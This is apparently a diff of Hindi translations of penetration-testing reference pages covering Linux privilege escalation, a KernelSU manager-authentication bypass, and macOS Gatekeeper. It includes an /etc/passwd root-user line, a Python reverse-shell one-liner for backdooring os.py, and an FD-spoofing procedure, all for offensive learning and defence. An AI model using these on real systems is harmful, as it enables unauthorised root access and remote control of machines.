SSH एजेंट फॉरवर्डिंग आपको **अपने स्थानीय SSH कुंजी का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उपयोग करके** अपनी **प्रारंभिक होस्ट** में स्थित **कुंजी**
SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उपयोग करके** **कुंजी** जो आपके **प्रारंभिक होस्ट** में स्थित है
आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा:
```
Host example.com
ForwardAgent yes
```
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, तो वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\
फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** दे सकती है (डिफ़ॉल्ट अनुमति है)।
@ -1173,15 +1173,15 @@ ssh-forward-agent-exploitation.md
### प्रोफाइल फ़ाइलें
फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**।
फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिखने या संशोधित करने में सक्षम हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**।
```bash
ls -l /etc/profile /etc/profile.d/
```
यदि कोई अजीब प्रोफ़ाइल स्क्रिप्ट मिलती है, तो आपको इसे **संवेदनशील विवरण** के लिए जांचना चाहिए।
### पासवर्ड/शैडो फ़ाइलें
### Passwd/Shadow फ़ाइलें
OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **इनमें से सभी को खोजें** और **जांचें कि क्या आप इन्हें पढ़ सकते हैं** यह देखने के लिए **क्या फ़ाइलों के अंदर हैश हैं**:
OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **इनमें से सभी को खोजें** और **जांचें कि क्या आप इन्हें पढ़ सकते हैं** यह देखने के लिए कि **क्या फ़ाइलों के अंदर हैश हैं**:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1204,7 +1204,7 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
आप अब `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं।
@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **स्क्रिप्ट/बाइनरीज़ PATH में**
### **PATH में स्क्रिप्ट/बाइनरी**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@ -1292,7 +1292,7 @@ Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalati
### Logs
यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\
इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको ऑडिट लॉग में **पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1312,14 +1312,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
### Generic Creds Search/Regex
आपको उन फ़ाइलों की भी जांच करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\
मैं यहाँ यह सूचीबद्ध नहीं करने जा रहा हूँ कि यह सब कैसे करना है लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है।
आपको उन फ़ाइलों की जांच भी करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\
मैं यहाँ यह नहीं बताने जा रहा कि यह सब कैसे करना है लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है।
## Writable files
### Python library hijacking
यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने जा रही है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने जा रही है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)।
यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने वाली है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने वाली है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)।
**पुस्तकालय को बैकडोर करने के लिए** बस os.py पुस्तकालय के अंत में निम्नलिखित पंक्ति जोड़ें (IP और PORT बदलें):
```python
@ -1336,13 +1336,13 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं।
यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं।
यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक्स द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं।
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**सुरक्षा कमी संदर्भ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-<whatever>` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड** है
यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-<whatever>` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**।
नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है।
@ -1356,7 +1356,7 @@ DEVICE=eth0
```
### **init, init.d, systemd, और rc.d**
डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स**े लिए **System V init (SysVinit)** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है।
डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स**ा घर है जो System V init (SysVinit) के लिए हैं, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है।
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करती है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।

View File

@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
रूटिंग फ्रेमवर्क जैसे KernelSU, APatch, SKRoot और Magisk अक्सर Linux/Android कर्नेल को पैच करते हैं और एक हुक की गई syscall के माध्यम से एक अप्रिविलेज्ड यूजर्स्पेस "मैनेजर" ऐप को विशेषाधिकार प्राप्त कार्यक्षमता प्रदान करते हैं। यदि मैनेजर-प्रमाणीकरण चरण में कोई दोष है, तो कोई भी स्थानीय ऐप इस चैनल तक पहुंच सकता है और पहले से रूटेड उपकरणों पर विशेषाधिकार बढ़ा सकता है।
रूटिंग फ्रेमवर्क जैसे KernelSU, APatch, SKRoot और Magisk अक्सर Linux/Android कर्नेल को पैच करते हैं और एक हुक की गई syscall के माध्यम से एक अप्रिविलेज्ड यूजर्स्पेस "मैनेजर" ऐप को विशेषाधिकार प्राप्त कार्यक्षमता प्रदान करते हैं। यदि मैनेजर-प्रमाणीकरण चरण में कोई दोष है, तो कोई भी स्थानीय ऐप इस चैनल तक पहुंच सकता है और पहले से रूट किए गए उपकरणों पर विशेषाधिकार बढ़ा सकता है।
यह पृष्ठ सार्वजनिक अनुसंधान में उजागर तकनीकों और खतरों का सारांश प्रस्तुत करता है (विशेष रूप से KernelSU v0.5.7 का Zimperium का विश्लेषण) ताकि लाल और नीली टीमों को हमले की सतहों, शोषण प्राइमिटिव्स और मजबूत शमन को समझने में मदद मिल सके।
यह पृष्ठ सार्वजनिक अनुसंधान में उजागर तकनीकों और खतरों का सारांश प्रस्तुत करता है (विशेष रूप से Zimperium के KernelSU v0.5.7 के विश्लेषण) ताकि लाल और नीली टीमों को हमले की सतहों, शोषण प्राइमिटिव्स और मजबूत शमन को समझने में मदद मिल सके।
---
## आर्किटेक्चर पैटर्न: syscall-hooked मैनेजर चैनल
- कर्नेल मॉड्यूल/पैच एक syscall (आमतौर पर prctl) को हुक करता है ताकि यूजर्स्पेस से "कमांड" प्राप्त कर सके।
- कर्नेल मॉड्यूल/पैच एक syscall (आम तौर पर prctl) को हुक करता है ताकि यूजर्स्पेस से "कमांड" प्राप्त कर सके।
- प्रोटोकॉल आमतौर पर है: magic_value, command_id, arg_ptr/len ...
- एक यूजर्स्पेस मैनेजर ऐप पहले प्रमाणीकरण करता है (जैसे, CMD_BECOME_MANAGER)। एक बार जब कर्नेल कॉलर को एक विश्वसनीय मैनेजर के रूप में चिह्नित करता है, तो विशेषाधिकार प्राप्त कमांड स्वीकार किए जाते हैं:
- कॉलर को रूट दें (जैसे, CMD_GRANT_ROOT)
- su के लिए अनुमति सूचियों/निषेध सूचियों का प्रबंधन करें
- SELinux नीति को समायोजित करें (जैसे, CMD_SET_SEPOLICY)
- संस्करण/कॉन्फ़िगरेशन पूछें
- चूंकि कोई भी ऐप syscalls को सक्रिय कर सकता है, इसलिए मैनेजर प्रमाणीकरण की सहीता महत्वपूर्ण है।
- चूंकि कोई भी ऐप syscalls को सक्रिय कर सकता है, मैनेजर प्रमाणीकरण की सहीता महत्वपूर्ण है।
उदाहरण (KernelSU डिज़ाइन):
- हुक की गई syscall: prctl
@ -26,7 +26,7 @@
---
## KernelSU v0.5.7 प्रमाणीकरण प्रवाह (जैसा कि लागू किया गया)
जब यूजर्स्पेस prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) को कॉल करता है, तो KernelSU सत्यापित करता है:
जब यूजर्स्पेस prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) को कॉल करता है, KernelSU सत्यापित करता है:
1) पथ उपसर्ग जांच
- प्रदान किया गया पथ कॉलर UID के लिए अपेक्षित उपसर्ग से शुरू होना चाहिए, जैसे /data/data/<pkg> या /data/user/<id>/<pkg>
@ -42,14 +42,14 @@
- APK v2 हस्ताक्षर को पार्स करें और आधिकारिक मैनेजर प्रमाणपत्र के खिलाफ सत्यापित करें।
- संदर्भ: manager.c (FDs को दोहराना), apk_sign.c (APK v2 सत्यापन)।
यदि सभी जांच पास हो जाती हैं, तो कर्नेल अस्थायी रूप से मैनेजर का UID कैश करता है और उस UID से विशेषाधिकार प्राप्त कमांड स्वीकार करता है जब तक कि इसे रीसेट नहीं किया जाता
यदि सभी जांच पास हो जाती हैं, तो कर्नेल अस्थायी रूप से मैनेजर का UID कैश करता है और उस UID से विशेषाधिकार प्राप्त कमांड स्वीकार करता है जब तक कि रीसेट न हो जाए
---
## भेद्यता वर्ग: FD पुनरावृत्ति से "पहले मेल खाने वाले APK" पर भरोसा करना
यदि हस्ताक्षर जांच "पहले मेल खाने वाले /data/app/*/base.apk" पर बंधी होती है जो प्रक्रिया FD तालिका में पाई जाती है, तो यह वास्तव में कॉलर के अपने पैकेज की सत्यापन नहीं कर रही है। एक हमलावर एक वैध हस्ताक्षरित APK (वास्तविक मैनेजर का) को पहले से स्थिति में रख सकता है ताकि यह FD सूची में अपने स्वयं के base.apk से पहले दिखाई दे।
यदि हस्ताक्षर जांच "पहले मेल खाने वाले /data/app/*/base.apk" पर बंधी होती है जो प्रक्रिया FD तालिका में पाई जाती है, तो यह वास्तव में कॉलर के अपने पैकेज की सत्यापन नहीं कर रही है। एक हमलावर एक वैध रूप से हस्ताक्षरित APK (वास्तविक मैनेजर का) को पहले से स्थिति में रख सकता है ताकि यह FD सूची में अपने स्वयं के base.apk से पहले दिखाई दे।
यह अप्रत्यक्षता द्वारा विश्वास एक अप्रिविलेज्ड ऐप को मैनेजर का अनुकरण करने की अनुमति देत है बिना मैनेजर की हस्ताक्षर कुंजी के स्वामित्व के।
यह अप्रत्यक्षता द्वारा विश्वास एक अप्रिविलेज्ड ऐप को मैनेजर का अनुकरण करने की अनुमति देत है बिना मैनेजर की हस्ताक्षर कुंजी के स्वामित्व के।
शोषित की गई प्रमुख विशेषताएँ:
- FD स्कैन कॉलर के पैकेज पहचान से बंधा नहीं है; यह केवल पथ स्ट्रिंग्स का पैटर्न मिलाता है।
@ -74,7 +74,7 @@
कदम 2 (FD क्रम) पर व्यावहारिक नोट्स:
- /proc/self/fd सिमलिंक्स को चलाकर अपने /data/app/*/base.apk के लिए अपने प्रक्रिया के FD की पहचान करें।
- एक कम FD (जैसे, stdin, fd 0) को बंद करें और पहले वैध मैनेजर APK को खोलें ताकि यह fd 0 (या आपके अपने base.apk fd से कम किसी भी अनुक्रमांक) पर कब्जा कर सके।
- एक निम्न FD (जैसे, stdin, fd 0) बंद करें और पहले वैध मैनेजर APK खोलें ताकि यह fd 0 (या आपके अपने base.apk fd से कम कोई भी अनुक्रमांक) पर कब्जा कर ले।
- वैध मैनेजर APK को अपने ऐप के साथ बंडल करें ताकि इसका पथ कर्नेल के सरल फ़िल्टर को संतुष्ट करे। उदाहरण के लिए, इसे /data/app/*/base.apk से मेल खाने वाले उपपथ के तहत रखें।
उदाहरण कोड स्निपेट (Android/Linux, केवल उदाहरण के लिए):
@ -145,7 +145,7 @@ After success, privileged commands (examples):
- CMD_SET_SEPOLICY: SELinux नीति को फ्रेमवर्क द्वारा समर्थित के रूप में समायोजित करें
Race/persistence tip:
- AndroidManifest में BOOT_COMPLETED रिसीवर पंजीकृत करें (RECEIVE_BOOT_COMPLETED) ताकि रिबूट के बाद जल्दी शुरू हो सके और वास्तविक प्रबंधक से पहले प्रमाणीकरण का प्रयास कर सके।
- AndroidManifest में एक BOOT_COMPLETED रिसीवर पंजीकृत करें (RECEIVE_BOOT_COMPLETED) ताकि रिबूट के बाद जल्दी शुरू हो सके और वास्तविक प्रबंधक से पहले प्रमाणीकरण का प्रयास कर सके।
---
## Detection and mitigation guidance
@ -160,7 +160,7 @@ For framework developers:
For defenders/blue team:
- रूटिंग फ्रेमवर्क और प्रबंधक प्रक्रियाओं की उपस्थिति का पता लगाएं; यदि आपके पास कर्नेल टेलीमेट्री है तो संदिग्ध जादुई स्थिरांक (जैसे, 0xDEADBEEF) के साथ prctl कॉल की निगरानी करें।
- प्रबंधित बेड़े पर, अनधिकृत पैकेजों से बूट रिसीवर्स को अवरुद्ध करें या चेतावनी दें जो बूट के बाद तेजी से विशेष प्रबंधक आदेशों का प्रयास करते हैं।
- प्रबंधित बेड़ों पर, अनधिकृत पैकेजों से बूट रिसीवर्स पर ब्लॉक या अलर्ट करें जो बूट के बाद तेजी से विशेष प्रबंधक आदेशों का प्रयास करते हैं।
- सुनिश्चित करें कि उपकरण पैच किए गए फ्रेमवर्क संस्करणों के लिए अपडेट किए गए हैं; अपडेट पर कैश किए गए प्रबंधक IDs को अमान्य करें।
Limitations of the attack:
@ -170,7 +170,7 @@ Limitations of the attack:
---
## Related notes across frameworks
- पासवर्ड-आधारित प्रमाणीकरण (जैसे, ऐतिहासिक APatch/SKRoot बिल्ड) कमजोर हो सकता है यदि पासवर्ड अनुमानित/ब्रूटफोर्स किए जा सकें या मान्यताएँ बग्गी हों।
- पासवर्ड-आधारित प्रमाणीकरण (जैसे, ऐतिहासिक APatch/SKRoot निर्माण) कमजोर हो सकता है यदि पासवर्ड अनुमानित/ब्रूटफोर्स किए जा सकें या मान्यताएँ बग्गी हों।
- पैकेज/हस्ताक्षर-आधारित प्रमाणीकरण (जैसे, KernelSU) सिद्धांत में मजबूत है लेकिन इसे वास्तविक कॉलर से बंधित होना चाहिए, न कि FD स्कैन जैसे अप्रत्यक्ष कलाकृतियों से।
- Magisk: CVE-2024-48336 (MagiskEoP) ने दिखाया कि यहां तक कि परिपक्व पारिस्थितिकी तंत्र भी पहचान धोखाधड़ी के प्रति संवेदनशील हो सकते हैं जो प्रबंधक संदर्भ के भीतर कोड निष्पादन की ओर ले जाती है।

View File

@ -6,7 +6,7 @@
**Gatekeeper** एक सुरक्षा विशेषता है जो Mac ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता अपने सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर** चलाएँ। यह **सॉफ़्टवेयर को मान्य करने** के द्वारा कार्य करता है जो उपयोगकर्ता डाउनलोड करता है और **App Store के बाहर के स्रोतों** से खोलने का प्रयास करता है, जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज।
Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि क्या डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटराइज्ड** है, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटराइजेशन के बाद इसमें छेड़छाड़ नहीं की गई है।
Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि क्या डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटराइज** किया गया है, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटराइजेशन के बाद इसमें छेड़छाड़ नहीं की गई है।
अतिरिक्त रूप से, Gatekeeper उपयोगकर्ता नियंत्रण और सुरक्षा को **पहली बार डाउनलोड किए गए सॉफ़्टवेयर को खोलने के लिए उपयोगकर्ताओं से अनुमोदन प्राप्त करने** के द्वारा मजबूत करता है। यह सुरक्षा उपाय उपयोगकर्ताओं को संभावित हानिकारक निष्पादन योग्य कोड को अनजाने में चलाने से रोकने में मदद करता है, जिसे वे एक हानिरहित डेटा फ़ाइल समझ सकते हैं।
@ -16,11 +16,11 @@ Application signatures, जिन्हें कोड हस्ताक्ष
यहाँ यह कैसे काम करता है:
1. **एप्लिकेशन को हस्ताक्षरित करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, तो वे **एक निजी कुंजी का उपयोग करके एप्लिकेशन को हस्ताक्षरित करते हैं**। यह निजी कुंजी एक **प्रमाण पत्र से संबंधित है जो Apple डेवलपर प्रोग्राम में नामांकित होने पर डेवलपर को जारी करता है**। हस्ताक्षर प्रक्रिया में ऐप के सभी भागों का एक क्रिप्टोग्राफिक हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है।
2. **एप्लिकेशन का वितरण:** हस्ताक्षरित एप्लिकेशन को फिर उपयोगकर्ताओं को डेवलपर के प्रमाण पत्र के साथ वितरित किया जाता है, जिसमें संबंधित सार्वजनिक कुंजी होती है।
3. **एप्लिकेशन का सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाण पत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन को संशोधित नहीं किया गया है** जब से डेवलपर ने इसे हस्ताक्षरित किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
1. **एप्लिकेशन को हस्ताक्षरित करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, तो वे **एक निजी कुंजी का उपयोग करके एप्लिकेशन को हस्ताक्षरित करते हैं**। यह निजी कुंजी एक **प्रमाणपत्र से संबंधित है जो Apple डेवलपर प्रोग्राम में नामांकित होने पर डेवलपर को जारी करता है**। हस्ताक्षर प्रक्रिया में ऐप के सभी भागों का एक क्रिप्टोग्राफिक हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है।
2. **एप्लिकेशन का वितरण:** हस्ताक्षरित एप्लिकेशन फिर उपयोगकर्ताओं को डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित सार्वजनिक कुंजी होती है।
3. **एप्लिकेशन का सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन को संशोधित नहीं किया गया है** जब से डेवलपर ने इसे हस्ताक्षरित किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
Application signatures Apple की Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर की पुष्टि करता है। यदि इसे एक ज्ञात डेवलपर को Apple द्वारा जारी किए गए प्रमाण पत्र के साथ हस्ताक्षरित किया गया है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक करता है और उपयोगकर्ता को सूचित करता है।
Application signatures Apple की Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर की पुष्टि करता है। यदि इसे एक ज्ञात डेवलपर को Apple द्वारा जारी किए गए प्रमाणपत्र के साथ हस्ताक्षरित किया गया है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक करता है और उपयोगकर्ता को सूचित करता है।
macOS Catalina से शुरू होकर, **Gatekeeper यह भी जांचता है कि क्या एप्लिकेशन को Apple द्वारा नोटराइज किया गया है**, जो सुरक्षा की एक अतिरिक्त परत जोड़ता है। नोटराइजेशन प्रक्रिया एप्लिकेशन की ज्ञात सुरक्षा समस्याओं और दुर्भावनापूर्ण कोड की जांच करती है, और यदि ये जांच पास होती हैं, तो Apple एप्लिकेशन में एक टिकट जोड़ता है जिसे Gatekeeper सत्यापित कर सकता है।
@ -45,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Apple की नोटरीकरण प्रक्रिया उपयोगकर्ताओं को संभावित हानिकारक सॉफ़्टवेयर से बचाने के लिए एक अतिरिक्त सुरक्षा उपाय के रूप में कार्य करती है। इसमें **डेवलपर द्वारा उनके आवेदन को Apple's Notary Service** द्वारा परीक्षा के लिए प्रस्तुत करना शामिल है, जिसे App Review के साथ भ्रमित नहीं किया जाना चाहिए। यह सेवा एक **स्वचालित प्रणाली** है जो प्रस्तुत सॉफ़्टवेयर की जांच करती है कि उसमें **दुष्ट सामग्री** और कोड-हस्ताक्षर के साथ कोई संभावित समस्याएँ हैं या नहीं
Apple की नोटरीकरण प्रक्रिया उपयोगकर्ताओं को संभावित हानिकारक सॉफ़्टवेयर से बचाने के लिए एक अतिरिक्त सुरक्षा उपाय के रूप में कार्य करती है। इसमें **डेवलपर द्वारा उनके आवेदन को Apple's Notary Service** द्वारा परीक्षा के लिए प्रस्तुत करना शामिल है, जिसे App Review के साथ भ्रमित नहीं किया जाना चाहिए। यह सेवा एक **स्वचालित प्रणाली** है जो प्रस्तुत सॉफ़्टवेयर की **दुष्ट सामग्री** और कोड-हस्ताक्षर के साथ किसी भी संभावित मुद्दों की जांच करती है
